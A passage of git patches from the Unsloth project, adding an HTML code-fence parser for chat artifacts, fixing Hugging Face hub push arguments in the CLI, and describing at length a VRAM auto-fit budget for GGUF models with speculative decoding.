     if (variant !== "overlay") return;
     previousFocusRef.current = document.activeElement;
diff --git a/studio/frontend/src/features/chat/artifacts/html-fences.ts b/studio/frontend/src/features/chat/artifacts/html-fences.ts
new file mode 100644
index 0000000000..5398cf1add
--- /dev/null
+++ b/studio/frontend/src/features/chat/artifacts/html-fences.ts
@@ -0,0 +1,145 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Shared fenced-code helpers for the HTML-artifact render paths, hoisted from
+// markdown-text.tsx so the in-place collapse and the post-message auto-render
+// agree on what counts as a renderable HTML fence.
+
+export type CodeFence = {
+  language: string | null;
+  source: string;
+};
+
+// Matches one fenced block spanning the whole string (one pre-split block).
+export const CODE_FENCE_RE = /^```([^\r\n`]*)\r?\n([\s\S]*?)\r?\n?```$/;
+
+export type ToolCallPartLike = {
+  type?: string;
+  toolName?: string;
+  args?: unknown;
+  result?: unknown;
+};
+
+// True when a part is a render_html tool call with usable code or a non-error result.
+export function isRenderableRenderHtmlToolPart(part: unknown): boolean {
+  const toolPart = part as ToolCallPartLike;
+  if (toolPart.type !== "tool-call" || toolPart.toolName !== "render_html") {
+    return false;
+  }
+  if (
+    typeof toolPart.result === "string" &&
+    toolPart.result.startsWith("Error:")
+  ) {
+    return false;
+  }
+  if (
+    typeof toolPart.result === "string" &&
+    toolPart.result.startsWith("Rendered HTML canvas")
+  ) {
+    return true;
+  }
+  const args = toolPart.args as { code?: unknown } | undefined;
+  return typeof args?.code === "string" && args.code.trim().length > 0;
+}
+
+export function getCodeFence(blockContent: string): CodeFence | null {
+  const match = blockContent.trimEnd().match(CODE_FENCE_RE);
+  if (!match) {
+    return null;
+  }
+
+  return {
+    language: match[1]?.trim() || null,
+    source: match[2],
+  };
+}
+
+export function isSvgFence(codeFence: CodeFence): boolean {
+  const lang = codeFence.language?.toLowerCase() ?? "";
+  if (lang === "svg") return true;
+  if (lang === "xml" || lang === "html") {
+    const trimmed = codeFence.source.trimStart();
+    // <svg directly, or <?xml ...?> then <svg
+    if (trimmed.startsWith("<svg")) return true;
+    if (trimmed.startsWith("<?xml") && trimmed.includes("<svg")) return true;
+  }
+  return false;
+}
+
+export function isHtmlFence(codeFence: CodeFence): boolean {
+  const lang = codeFence.language?.toLowerCase() ?? "";
+  return lang === "html" && !isSvgFence(codeFence);
+}
+
+export function isFullHtmlDocument(source: string): boolean {
+  const trimmed = source.trimStart();
+  return /^<!doctype\s+html\b/i.test(trimmed) || /^<html[\s>]/i.test(trimmed);
+}
+
+export interface HtmlFence {
+  source: string;
+  isFullDocument: boolean;
+  // Plain 3-backtick unindented fence: the only form the in-place collapser
+  // (CODE_FENCE_RE) recognizes, so only these may be skipped as already shown.
+  isPlainFence: boolean;
+  index: number;
+}
+
+// Opening fence: up to 3 leading spaces, >=3 backticks, then a backtick-free info string.
+const FENCE_OPEN_RE = /^( {0,3})(`{3,})([^`\r\n]*)$/;
+
+// Scan a full message for every closed ```html fence. Line-based so multiple
+// fences are found and backticks inside a <script> string never split a block
+// (a close must be its own fence line). Drops unterminated/SVG fences.
+export function extractHtmlFences(text: string): HtmlFence[] {
+  const lines = text.split(/\r?\n/);
+  const fences: HtmlFence[] = [];
+  let i = 0;
+  let index = 0;
+
+  while (i < lines.length) {
+    const open = lines[i].match(FENCE_OPEN_RE);
+    if (!open) {
+      i++;
+      continue;
+    }
+    const indent = open[1].length;
+    const ticks = open[2].length;
+    const lang = open[3].trim().split(/\s+/)[0]?.toLowerCase() ?? "";
+
+    const closeRe = new RegExp(`^ {0,3}\`{${ticks},}\\s*$`);
+    // Strip up to `indent` leading spaces (CommonMark fence indentation).
+    const indentRe = indent > 0 ? new RegExp(`^ {0,${indent}}`) : null;
+    let j = i + 1;
+    const body: string[] = [];
+    let closed = false;
+    while (j < lines.length) {
+      if (closeRe.test(lines[j])) {
+        closed = true;
+        break;
+      }
+      body.push(indentRe ? lines[j].replace(indentRe, "") : lines[j]);
+      j++;
+    }
+
+    if (!closed) {
+      break; // everything after an unterminated open fence is inside it
+    }
+
+    if (lang === "html") {
+      const source = body.join("\n");
+      if (!isSvgFence({ language: "html", source })) {
+        fences.push({
+          source,
+          isFullDocument: isFullHtmlDocument(source),
+          isPlainFence: indent === 0 && ticks === 3,
+          index: index++,
+        });
+      }
+    }
+
+    i = j + 1;
+  }
+
+  return fences;
+}
diff --git a/studio/frontend/src/features/chat/artifacts/store.ts b/studio/frontend/src/features/chat/artifacts/store.ts
index 6c47959822..3a078add82 100644
--- a/studio/frontend/src/features/chat/artifacts/store.ts
+++ b/studio/frontend/src/features/chat/artifacts/store.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { create } from "zustand";
+import type { ArtifactViewMode } from "./html-frame";
 import type { ChatArtifact, ChatArtifactSurface } from "./types";
 
 const autoOpenedArtifactIds = new Set<string>();
@@ -22,9 +23,11 @@ type ChatArtifactsState = {
   artifactsById: Record<string, ChatArtifact>;
   selectedArtifactId: string | null;
   surface: ChatArtifactSurface;
+  // View the surface should show on the next open (Preview vs Code button).
+  requestedView: ArtifactViewMode;
   openArtifact: (
     artifact: ChatArtifact,
-    options?: { surface?: ChatArtifactSurface },
+    options?: { surface?: ChatArtifactSurface; view?: ArtifactViewMode },
   ) => void;
   updateArtifact: (artifact: ChatArtifact) => void;
   closeArtifactSurface: () => void;
@@ -37,6 +40,7 @@ export const useChatArtifactsStore = create<ChatArtifactsState>((set) => ({
   artifactsById: {},
   selectedArtifactId: null,
   surface: "panel",
+  requestedView: "preview",
   openArtifact: (artifact, options) =>
     set((state) => ({
       artifactsById: {
@@ -45,6 +49,7 @@ export const useChatArtifactsStore = create<ChatArtifactsState>((set) => ({
       },
       selectedArtifactId: artifact.id,
       surface: options?.surface ?? state.surface,
+      requestedView: options?.view ?? "preview",
     })),
   updateArtifact: (artifact) =>
     set((state) =>

From f3dda0d9fc534534f661d29562ca720bf51e90f5 Mon Sep 17 00:00:00 2001
From: Tai An <antai12232931@outlook.com>
Date: Wed, 17 Jun 2026 03:05:30 -0700
Subject: [PATCH 38/91] fix(unsloth-cli): route hub_path/hub_token correctly in
 --push_model save block (#6346)

* fix(unsloth-cli): route hub_path/hub_token correctly in --push_model save block

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(unsloth-cli): let --push_gguf work without --save_gguf

Route into the GGUF branch when either --save_gguf or --push_gguf is set, and
guard the local save_pretrained_gguf call behind --save_gguf. Previously
--push_gguf alone fell through to the merged-save else branch and pushed
nothing (flagged in review).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Warn when --push_gguf is used without --save_gguf in unsloth-cli

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 unsloth-cli.py | 56 ++++++++++++++++++++++++++++++--------------------
 1 file changed, 34 insertions(+), 22 deletions(-)

diff --git a/unsloth-cli.py b/unsloth-cli.py
index f0b386286f..756efef0d0 100644
--- a/unsloth-cli.py
+++ b/unsloth-cli.py
@@ -150,38 +150,50 @@ def run(args):
     # Save model
     if args.save_model:
         # If args.quantization is a list, save once per quantization method
-        if args.save_gguf:
+        # Enter the GGUF branch when saving *or* pushing GGUF, so --push_gguf
+        # works even when --save_gguf is omitted (the local save is guarded
+        # separately below).
+        if args.save_gguf or args.push_gguf:
+            # Push-only GGUF (no --save_gguf) skips the local save; warn so it is not silent.
+            if not args.save_gguf:
+                print("Warning: --save_gguf not set, pushing GGUF to hub without saving locally.")
             if isinstance(args.quantization, list):
                 for quantization_method in args.quantization:
-                    print(f"Saving model with quantization method: {quantization_method}")
+                    if args.save_gguf:
+                        print(f"Saving model with quantization method: {quantization_method}")
+                        model.save_pretrained_gguf(
+                            args.save_path,
+                            tokenizer,
+                            quantization_method = quantization_method,
+                        )
+                    if args.push_model or args.push_gguf:
+                        model.push_to_hub_gguf(
+                            args.hub_path,
+                            tokenizer,
+                            quantization_method = quantization_method,
+                            token = args.hub_token,
+                        )
+            else:
+                if args.save_gguf:
+                    print(f"Saving model with quantization method: {args.quantization}")
                     model.save_pretrained_gguf(
                         args.save_path,
                         tokenizer,
-                        quantization_method = quantization_method,
-                    )
-                    if args.push_model:
-                        model.push_to_hub_gguf(
-                            hub_path = args.hub_path,
-                            hub_token = args.hub_token,
-                            quantization_method = quantization_method,
-                        )
-            else:
-                print(f"Saving model with quantization method: {args.quantization}")
-                model.save_pretrained_gguf(
-                    args.save_path,
-                    tokenizer,
-                    quantization_method = args.quantization,
-                )
-                if args.push_model:
-                    model.push_to_hub_gguf(
-                        hub_path = args.hub_path,
-                        hub_token = args.hub_token,
                         quantization_method = args.quantization,
                     )
+                if args.push_model or args.push_gguf:
+                    model.push_to_hub_gguf(
+                        args.hub_path,
+                        tokenizer,
+                        quantization_method = args.quantization,
+                        token = args.hub_token,
+                    )
         else:
             model.save_pretrained_merged(args.save_path, tokenizer, args.save_method)
             if args.push_model:
-                model.push_to_hub_merged(args.save_path, tokenizer, args.hub_token)
+                model.push_to_hub_merged(
+                    args.hub_path, tokenizer, args.save_method, token = args.hub_token
+                )
     else:
         print("Warning: The model is not saved!")
 

From 0e69614878096fee53ee0fbe724011327e4bb601 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 03:10:22 -0700
Subject: [PATCH 39/91] studio: deterministic VRAM auto-fit for GGUF (MTP
 reserve, compute buffer, total-based budget) (#6312)

* studio: reserve MTP draft VRAM in GGUF auto-fit

Auto-fit advertised a context (for example ~110k for the Qwen3.6-27B MTP
GGUF) that fit on paper but OOMed mid-generation or during tool calls once
MTP speculative decoding was active. The MTP draft path's VRAM was reserved
as a flat 5% of total VRAM, which tracks neither of the two real costs: the
MTP head keeps its own attention KV cache that grows with context, and the
speculative verification buffer grows with --spec-draft-n-max. On the
hybrid Mamba/attention Qwen3.6 models the main KV is small, so auto-fit
happily kept a near-native context while the draft path pushed the load
over budget at runtime.

Replace the flat fraction with a byte-accurate, context- and n_max-aware
reserve sized from GGUF dims: draft KV from nextn_predict_layers and the
attention dims at f16 (llama.cpp's MTP draft context uses f16 KV regardless
of the main cache type), plus a verify buffer per embedding-unit per draft
token. The reserve is evaluated per candidate context inside the fit binary
search and added to every pin/fit check, including the tensor-parallel
planner and its even-split decision. Coefficients were calibrated against
llama-server VRAM measurements on the Qwen3.6-27B MTP GGUF (RMS 14 MiB).

The flat fraction remains as a fallback when GGUF dims are unavailable, so
non-MTP loads are unchanged. The budget now also engages when the user wires
MTP through extra args (--spec-type draft-mtp, including chains), reads the
effective draft depth from --spec-draft-n-max or the legacy --draft-max with
extras taking precedence over the first-class field, reserves a separate
drafter's weights when supplied via --model-draft/--spec-draft-model/-md,
and mirrors _build_speculative_flags so it never reserves for MTP the launch
resolver will not emit (needs a head/drafter and a binary that supports
--spec-type mtp).

Adds tests/test_mtp_vram_budget.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: total-based VRAM budget + deterministic compute-graph buffer

Build on the byte-accurate MTP reserve with three changes that make the
GGUF auto-fit budget deterministic across architectures and recover usable
context, especially for MTP models on a single tight card.

1. Total-based budget. Cap GPU occupancy at a fraction of TOTAL VRAM rather
   than a fraction of FREE VRAM, and raise the fraction from 0.90 to 0.95:

       budget = free - (1 - 0.95) * total      (per GPU, summed for a pool)

   The reserve is now absolute (a fixed slice of the card) instead of
   shrinking as the GPU fills, so a partly-used GPU keeps a constant cushion
   for compute/CUDA/verify buffers instead of over-promising context and
   spilling to CPU at runtime. _get_gpu_memory() reads memory.total alongside
   memory.free; _fit_context_to_vram, _select_gpus and the load_model pool
   loops thread the totals through. Multi-GPU layer-split pools
   sum(free_i - 0.05*total_i); tensor mode reserves per device.

2. Deterministic compute-graph buffer. Replace the flat 5 GB/device tensor
   reserve (a magic constant that over-reserved about 8x on a 27B model) with
   _estimate_compute_buffer_bytes, sized from GGUF dims and the launch flags:

       out = n_vocab * n_ubatch * 4            # vocab-width output buffer
       act = 4 * n_embd * n_ubatch * 4         # activation scratch
       pipeline_per_device = act + out * (n_parallel - 1)
       tensor_per_device   = 2*act + out * n_parallel

   The buffer is context-independent and scales with --parallel (serving
   slots), not with how the model is split across GPUs. It is now reserved in
   BOTH multi-GPU paths (layer split folds one buffer into the pooled
   footprint; tensor mode reserves it per device). The flat 5 GB stays only as
   a fallback when vocab/embedding dims are unavailable. Calibrated against
   llama-server measurements (parallel 1/2/4/8 give 36/492/1388/3220 MiB on a
   single GPU; about 600 MiB/device tensor); the estimate is a small upper
   bound.

3. GGUF parsing. Read vocab size (tokenizer tokens array length) and
   feed_forward_length for the compute-buffer estimate.

Effect on the Qwen3.6-27B MTP Q6_K case (MTP on): a single 32 GB card at
about 31 GB free advertises f16 23k to 64k, q8_0 44k to 115k, q4_0 82k to
200k; 2x 24 GB tensor mode recovers the full 262k window for f16 (was about
134k). Validated on hardware: 1x 32 GB f16 at 64768 loads at 29.3 GB / 120
t/s; 2x 23 GB tensor f16 at 262144 loads at 22.2 GB/device / 98 t/s; both
within 0.4% of the estimate. Adds test_compute_buffer.py and updates the
KV/context-fit/MTP-budget tests for the 0.95 constant and the new budget.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten comments in the VRAM auto-fit changes

Condense the docstrings and inline comments added by this PR (internal backend
helpers): drop restated-signature docstrings, fold multi-line block comments to
one or two lines, and remove notes that just repeat the code. No behavior change
(AST-verified comment/docstring-only via comment_tools.py); the backend test
suite is unchanged and green.

* studio: address review findings in the VRAM auto-fit budget

Five fixes from a parallel-reviewer pass on this PR; all confirmed against the
real functions and covered by new tests.

- Tensor mode now honors the total-based VRAM cap. _plan_tensor_parallel took
  total_by_idx and budgets each GPU at free - (1-frac)*total, mirroring the
  layer-split paths; previously it fit against raw free and could spend the 5%
  safety cushion on a partly-used multi-GPU box (reproduced ~3.3 GB over).

- Draft K and V cache types are parsed and accounted independently. A one-sided
  override (e.g. --cache-type-k-draft q4_0, V left f16) no longer applies the
  small quant to both axes and under-reserves the f16 axis. The embedded-head
  formula sizes per axis; the separate-drafter path uses the heavier type so it
  never under-reserves.

- The compute-graph buffer honors a user --ubatch / --ubatch-size / -ub override
  (parsed and threaded into every _estimate_compute_buffer_bytes call and the
  tensor planner); it previously always assumed the 512 default, under-reserving
  up to ~8x at --ubatch 4096.

- GPU ranking uses the usable budget (free - (1-frac)*total) instead of raw free
  in _select_gpus and both auto-context subset loops, so a more-used large card
  no longer outranks a less-used small card that has more usable room.

Adds regression tests for each (tensor total cap, ubatch reserve scaling, split
K/V no-under-reserve, --ubatch parser, usable-ranking GPU selection). Full
targeted backend suite green (321 passed).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: gate tensor-parallel admission on usable VRAM budget

The tensor-parallel GPU admission filters still used raw free VRAM after
the total-based budget landed, an asymmetric fix: a partly-used large card
can clear the per-device compute-buffer reserve on raw free while its usable
budget (free - (1-frac)*total) does not, so the planner admitted it and the
even split could emit a near-zero weight slice for a GPU that should have
been excluded.

- _plan_tensor_parallel: admit GPUs by usable budget, not raw free (move the
  _usable helper above the filter).
- load_model: admit the tensor set by _gpu_usable, and downgrade to layer
  split when the pooled usable budget cannot hold weights plus per-device
  compute buffers (the planner can only floor the context, not stop an
  overcommitted launch).

Adds regression tests: planner drops a GPU whose usable budget is below the
reserve, and a source-level check that load_model admits on the usable
budget and carries the pooled-weight downgrade.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: size the MTP reserve for the user's overriding drafter

A user --model-draft passed in extra_args is appended last and wins at the
llama-server launch, but the VRAM budget preferred Studio's auto-detected
drafter (mtp_draft_path or extras), so a larger custom drafter was
under-reserved. Flip the precedence to extras-first, matching the draft-depth
(n_max) resolution two lines above. Adds a source-level regression test.

* studio: account for MTP reserve in tensor gate, restore 2-col GPU probe

Two issues found by re-review of the prior fix:

- The tensor-parallel capacity gate only checked the model weights against the
  pooled budget, not the MTP reserve. A separate-drafter MTP load whose weights
  fit but weights + drafter do not could still launch overcommitted in tensor
  mode. Add the non-shrinkable MTP reserve (drafter weights + floor draft KV, or
  the flat 2 GiB fallback when dims are unavailable) to the gate.

- The nvidia-smi probe was switched to a three-column query (index,free,total)
  for the total-based budget but required exactly three columns, so a driver or
  mock returning the legacy two-column "index,free" was dropped and the probe
  fell through to the real GPUs. Accept two columns (total 0) and treat an
  unknown total as the legacy free*fraction in _select_gpus.

Tests: tensor gate asserts the MTP term is included; _get_gpu_memory parses both
two- and three-column output; the existing two-column GPU-detection mocks pass
again.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: keep the VRAM cushion in tensor planning when GPU totals are unknown

_plan_tensor_parallel fell back to raw free VRAM when a GPU's total was
unavailable (a two-column nvidia-smi probe reporting total 0), while
_select_gpus and the load_model ranking both fall back to free*fraction. That
let tensor planning spend the 5% cushion the rest of the fit preserves and
over-advertise context in exactly that path. Align the fallback to
free*_CTX_FIT_VRAM_FRACTION. Updates the no-totals planner test expectations
(now free*frac) and adds a regression test that total 0 keeps the cushion.

* studio: honor LLAMA_ARG_* env overrides and HF draft flags in the VRAM budget

The budget parsed llama-server flags only from the request's extra_args, but the
child process inherits Studio's full environment (child_env_without_native_path_secret
copies os.environ), and llama-server honors LLAMA_ARG_* env vars for the same
options. So a service-level override the child acts on was invisible to the fit,
which could then advertise a context/GPU set that OOMs at load.

- _extra_args_n_ubatch: fall back to LLAMA_ARG_UBATCH (drives the compute buffer;
  an unseen 4096 vs the 512 default under-reserves ~8x).
- _extra_args_mtp_draft_path: also recognize the HF draft-repo flags
  (--spec-draft-hf/-hfd/-hfrd/--hf-repo-draft) and fall back to
  LLAMA_ARG_SPEC_DRAFT_MODEL / LLAMA_ARG_SPEC_DRAFT_HF_REPO. An HF repo isn't a
  local file so it can't be sized, but recognizing it routes to the flat reserve
  instead of mis-sizing Studio's auto/embedded drafter.
- _extra_args_draft_cache_types: fall back to
  LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_K/_V per axis.

CLI extra_args win over env (they are appended last at launch). Each parser takes
an injectable env for deterministic tests. Adds env-fallback and HF-flag tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: review polish - drop non-flag --ubatch, harden GPU probe, document buffer

Non-blocking items from a second review pass; no behavior change in the common path:

- _extra_args_n_ubatch: drop --ubatch; the binary only accepts --ubatch-size/-ub,
  so parsing --ubatch implied support it does not have (it would over-reserve for a
  launch that fails on the unknown flag).
- _get_gpu_memory: skip a malformed nvidia-smi line instead of letting one bad line
  raise and drop the whole NVIDIA probe to the torch fallback.
- _estimate_compute_buffer_bytes: document that the per-slot output-buffer model
  assumes a small n_outputs_max (chat decode); it would under-count for
  embeddings / --logits-all / reranking, which Studio does not run on this path.

* studio: honor LLAMA_ARG_SPEC_TYPE when deciding the MTP reserve

_extra_args_requests_mtp only checked extra_args, but the child inherits Studio's
env and llama-server honors LLAMA_ARG_SPEC_TYPE. So a service-level
LLAMA_ARG_SPEC_TYPE=draft-mtp would run MTP while the fit skipped the draft
reserve and could advertise a context/GPU set that OOMs at load. Recognize the
env value (CLI still wins). Completes the env-override coverage alongside ubatch,
draft model, and draft cache types. Adds an env regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: reserve VRAM for non-MTP model-based draft modes too

The draft reserve only engaged for MTP. A user passing a non-MTP model-based
draft mode (--spec-type draft-simple / draft-eagle3) with a --model-draft loads
a separate draft model whose weights + KV consume GPU memory, but the fit
reserved nothing and could OOM at load. Engage the existing drafter reserve for
those modes when extras (or LLAMA_ARG_SPEC_TYPE) name a drafter; ngram-* load no
model and are unaffected. Purely additive (reserves where there was none).
Adds parser + gate tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: floor quantized embedded MTP draft KV at f16; fix two test issues

Address PR review feedback (three findings):

1. Quantized embedded MTP draft KV was underpriced. The embedded head is a
   single draft layer, so llama.cpp cannot amortize quantized-KV overhead over
   many layers the way the main model does: a quantized draft KV (e.g.
   --spec-draft-type-k q4_0) actually fits LESS context than f16, not more
   (ggml-org/llama.cpp#24102, where a collaborator recommends f16 for the draft
   KV). Pricing q4_0 at 0.5625 of an element (~28% of f16) under-reserved, so a
   quantized override could advertise a context that shrinks or OOMs at load.
   Floor the embedded draft KV bytes-per-element at f16 (quantized types priced
   as f16, f32 still its full 4 bytes). The separate multi-layer drafter, where
   quantization does amortize, keeps the user's real type.

2. test_load_model_reserves_for_non_mtp_draft_modes asserted an exact one-line
   source substring that pre-commit black wrapped across lines, breaking CI.
   Strip whitespace before matching so the check survives any line-wrapping.

3. test_compute_buffer.py installed a partial httpx stub via setdefault that, if
   collected before test_kv_cache_estimation.py, leaked into sys.modules without
   HTTPError/Response and could break the transformers introspection tier by
   collection order. Adopt the sister file's pattern: only stub when real httpx
   is absent, and include the full symbol set.

Updates the affected draft-KV tests to assert the f16 floor.

* studio: guard httpx stub in test_mtp_vram_budget too

test_mtp_vram_budget.py installed a partial httpx stub via setdefault that, like
test_compute_buffer.py before it, lacked HTTPError/Response and could leak into
sys.modules ahead of tests that need huggingface_hub/transformers, breaking the
introspection tier by collection order. Apply the same guard used by
test_kv_cache_estimation.py: only stub when real httpx is absent, with the full
symbol set.

* studio: per-device layer-split reserve, effective spec-type, drafter weights, KV restore

Address PR review feedback (four findings in the auto-fit budget):

A. Reserve the per-device layer-split overhead. A layer (pipeline) split allocates
   a fixed per-device overhead (CUDA context + per-device compute scratch) on every
   participating GPU, beyond the slot-scaling compute buffer that is conserved across
   the split. Measured ~0.9 GB/device on the Qwen3.6-27B GGUF (b9625), independent of
   --parallel: layer-split TOTAL VRAM grew +894 MiB (parallel=8) / +946 MiB
   (parallel=1) per extra GPU, ~linear to +2.6 GB at 4 GPUs. The fit folded a single
   compute buffer for all subset sizes, so a k-GPU layer split was short by
   ~(k-1)*0.9 GB and could pin a context that fits the pool on paper but OOMs a device.
   Reserve (k-1) * _PIPELINE_PER_DEVICE_OVERHEAD_MIB per subset in the layer-split fit;
   k=1 adds nothing, so single-GPU sizing (and the validated benchmark rows) is unchanged.

B. Track the effective --spec-type. _extra_args_requests_mtp returned true on the
   first MTP-ish --spec-type and consulted LLAMA_ARG_SPEC_TYPE even when a CLI
   --spec-type was present, contrary to llama.cpp (last CLI value wins; a CLI flag
   overrides the env). So `--spec-type draft-mtp --spec-type ngram-mod` or a non-MTP
   CLI value with a stale MTP env over-reserved a drafter the launch won't load
   (shrinking context / selecting extra GPUs). Route both detectors through a new
   _effective_spec_type helper.

C. Keep known drafter weights in the fallback reserve. When a separate drafter's KV
   metadata can't be sized, _estimate_mtp_overhead_bytes returned None and discarded
   the drafter's known weight bytes, falling back to the flat 5% reserve; a drafter
   larger than that cushion could launch over budget and OOM. Reserve the known
   weights even when KV sizing fails (None only when nothing is known).

D. Restore quantized KV on tensor->layer-split downgrade. The tensor attempt drops a
   quantized KV cache (tensor mode aborts on it). When the GPU-count or capacity gate
   then downgrades to layer split -- which supports quantized KV -- the dropped type
   was lost and the launch used f16, using more VRAM and shrinking context. Remember
   the dropped type and restore it on downgrade (the launch re-emits it from the var).

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: per-device overhead in GPU pin, skip CPU draft, gate env spec-type

Address PR review feedback (three follow-up findings):

F1. Reserve the per-device layer-split overhead in the pin path too. The earlier
    per-device reserve was added to the auto-context fit loops but not to
    _select_gpus, which the explicit-ctx and file-size-only paths use to PIN GPUs
    with -ngl -1 (no --fit fallback). A 2+ GPU pin within ~1 GiB/extra-GPU of the
    budget could OOM a device at load. Add a per_device_overhead_bytes arg to
    _select_gpus so a k-GPU pin must hold model + (k-1)*overhead; pass the pipeline
    overhead at both pin call sites. Single-GPU pins are unchanged.

F2. Don't charge a CPU-offloaded drafter against the GPU budget. A user passing
    --spec-draft-ngl 0 or --spec-draft-device none/cpu keeps the separate draft
    model's weights + KV on CPU, but the budget still charged the full drafter GGUF
    size, auto-reducing context or downgrading GPU selection. Detect the CPU-offload
    flags and drop the separate drafter (and its flat fallback) from the budget; an
    embedded head follows the main -ngl and is unaffected.

F3. Consult LLAMA_ARG_SPEC_TYPE only when it can reach the child. llama-server's CLI
    args override env, and _build_speculative_flags emits a --spec-type/--spec-default
    for every UI mode except "off". So a stale MTP env on a non-MTP model (auto mode)
    made the fit reserve MTP that the emitted --spec-default disables, shrinking
    context / picking extra GPUs. Gate the env consult on "no user --spec-type and UI
    mode off"; the MTP-model auto path still engages via Studio's own detection.

Adds regression tests for each.

* studio: drafter budget precedence and --spec-default in effective spec-type

Two spec-precedence fixes surfaced by an independent multi-reviewer pass:

R3. Size the drafter the launch actually loads. _mtp_draft_for_budget consulted
    LLAMA_ARG_SPEC_DRAFT_MODEL (via _extra_args_mtp_draft_path's env fallback)
    before Studio's resolved mtp_draft_path, but _build_speculative_flags emits
    --model-draft mtp_draft_path, which overrides the env at launch. With a stale
    (smaller) env drafter, the budget under-reserved and could OOM. Order the
    budget by what actually launches: CLI extras --model-draft (appended last,
    wins), then Studio's emitted mtp_draft_path (when MTP engages and the user
    doesn't own --spec-type), then the env drafter.

R4. Treat --spec-default as a CLI spec override in _effective_spec_type. It only
    recognized --spec-type, so extras=["--spec-default"] with LLAMA_ARG_SPEC_TYPE=
    draft-mtp fell through to the env and over-reserved MTP, even though the CLI
    --spec-default overrides the env to a non-MTP default. Recognize it as a CLI
    spec flag (resolves to "default", non-MTP) that suppresses the env fallback.

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: refine MTP draft reserve (parallel slots, last-wins, KV cushion, ranking)

Address PR review feedback (five follow-up findings, all edges of this session's
earlier MTP/auto-fit changes):

G1. Price the separate drafter's KV per --parallel slot. _mtp_draft_kv_bytes called
    the drafter's _estimate_kv_cache_bytes with the default n_parallel=1, but the
    drafter is served under the main model's slot count; a sliding-window drafter
    (Gemma) grows KV per slot and was under-reserved. Thread n_parallel through the
    draft KV / overhead estimate and the fit closure.

G2. Honor last-wins for the draft-offload flags. _extra_args_draft_offloaded_to_cpu
    returned True on the first CPU value, so --spec-draft-ngl 0 --spec-draft-ngl -1
    (final = GPU) wrongly dropped the drafter reserve while the server kept it on
    GPU -> OOM. Decide on the final value of each flag only.

G3. Keep the flat cushion when only the drafter weights could be sized. The weights
    fallback installs mtp_overhead_fn, which made callers drop the flat MTP reserve,
    leaving the still-unsized draft KV with no cushion. Keep the flat fraction on in
    that weights-only case, on top of the byte-accurate weights.

G4. Rank auto/cap GPU subsets by the active budget fraction. The ranking used a
    hard-coded 0.95 while the fit tests _pin_fraction (lowered by the flat MTP
    reserve); on mixed-total GPUs that could order subsets differently and pick a
    worse plan. Rank with the same fraction the fit uses.

G5. Keep the embedded-head flat reserve under a draft CPU-offload flag. F2's
    not-_draft_on_cpu guard also dropped the reserve for an embedded MTP head, which
    is part of the main model and stays on GPU regardless of --spec-draft-ngl. Only
    suppress the flat reserve for a CPU-offloaded separate drafter (no embedded head).

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: keep GPU on non-integer total, keep tensor flat reserve for weights-only

Two review findings:

- _get_gpu_memory dropped a whole GPU when nvidia-smi reported a non-integer
  memory.total ("N/A" on some drivers / MIG / vGPU): index, free and total were
  parsed in one try/except that skipped the line on any ValueError, so the GPU
  vanished from the probe and the load could silently spill to CPU. Parse index
  and free (required) first, then total separately, defaulting to 0 (the fit then
  uses the free*frac path for that GPU). Adds N/A and bad-free test cases.

- Tensor planning skipped the flat MTP reserve for a weights-only drafter (file
  size known, KV unsizable): the capacity gate used the byte floor whenever
  mtp_overhead_fn was set, so it reserved only the drafter weights and no draft
  KV. Tensor mode has no --fit valve, so that could overcommit and OOM. Keep the
  flat reserve (never below the byte floor) in the weights-only case too, mirroring
  the layer-split _mtp_kv_unsized handling. Adds a regression test.

(A third suggestion -- fold --batch-size into the compute-buffer reserve -- was
checked on hardware and declined: -b 8192 -ub 512 used identical VRAM to the
default at -c 64000, so the logical batch does not size the graph buffer; the
estimate correctly uses the physical micro-batch.)

* studio: budget the main KV from LLAMA_ARG_CACHE_TYPE env when Studio emits none

The child inherits LLAMA_ARG_CACHE_TYPE_K / LLAMA_ARG_CACHE_TYPE_V, but Studio
emits --cache-type-k/-v only when the param or extras set the type. When neither
does, a heavier env type (f32) reaches the child while the auto-fit budget
assumed the f16 default, under-reserving the main KV and risking OOM at the
advertised context. This is the one main-KV axis that lacked the env-aware
handling the other axes already have (spec-type, draft model, draft cache type,
ubatch).

load_model now adopts the heavier of the two env types when it exceeds f16 (only
f32 does), and the launch re-emits it so child and budget stay byte-consistent.
Quantized env types are <= f16 and remain safely over-reserved by the default,
so they are left untouched (no change). A single value is used because the
budget's KV estimate has one cache_type_kv knob, matching parse_cache_override's
existing key/value collapse.

Adds _env_main_cache_type_for_budget plus regression tests covering f32 adoption,
the K/V heavier-of collapse, quantized/unknown no-ops, and the load_model source
precedence.

* studio: budget tensor parallel when LLAMA_ARG_SPLIT_MODE env selects it

Studio emits --split-mode tensor only on its tensor branch; the default
